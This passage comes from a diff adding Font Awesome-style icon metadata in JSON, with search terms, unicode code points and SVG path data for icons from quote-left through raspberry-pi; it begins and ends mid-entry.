41.8-5.4 75.6-16.7 100.5z" + } + }, + "free": [ + "brands" + ] + }, + "quote-left": { + "changes": [ + "3", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "mention", + "note", + "phrase", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f10d", + "label": "quote-left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635654, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "quote-right": { + "changes": [ + "3", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "mention", + "note", + "phrase", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f10e", + "label": "quote-right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635654, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "quran": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "book", + "islam", + "muslim", + "religion" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f687", + "label": "Quran", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635654, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z" + } + }, + "free": [ + "solid" + ] + }, + "r-project": { + "changes": [ + "5.0.11", + "5.0.12" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f7", + "label": "R Project", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861015, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 581 512\"><path d=\"M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "581", + "512" + ], + "width": 581, + "height": 512, + "path": "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z" + } + }, + "free": [ + "brands" + ] + }, + "radiation": { + "changes": [ + "5.6.0", + "5.8.2", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "danger", + "dangerous", + "deadly", + "hazard", + "nuclear", + "radioactive", + "warning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7b9", + "label": "Radiation", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635656, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z" + } + }, + "free": [ + "solid" + ] + }, + "radiation-alt": { + "changes": [ + "5.6.0", + "5.8.2", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "danger", + "dangerous", + "deadly", + "hazard", + "nuclear", + "radioactive", + "warning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ba", + "label": "Alternate Radiation", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635655, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" + } + }, + "free": [ + "solid" + ] + }, + "rainbow": { + "changes": [ + "5.5.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "gold", + "leprechaun", + "prism", + "rain", + "sky" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f75b", + "label": "Rainbow", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635656, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z" + } + }, + "free": [ + "solid" + ] + }, + "random": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows", + "shuffle", + "sort", + "swap", + "switch", + "transfer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f074", + "label": "random", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635658, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z" + } + }, + "free": [ + "solid" + ] + }, + "raspberry-pi": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f7bb", + "label": "Raspberry Pi", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861015, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 407 512\"><path d=\"M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "407", + "512" + ], + "width": 407, + "height": 512, + "path": "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 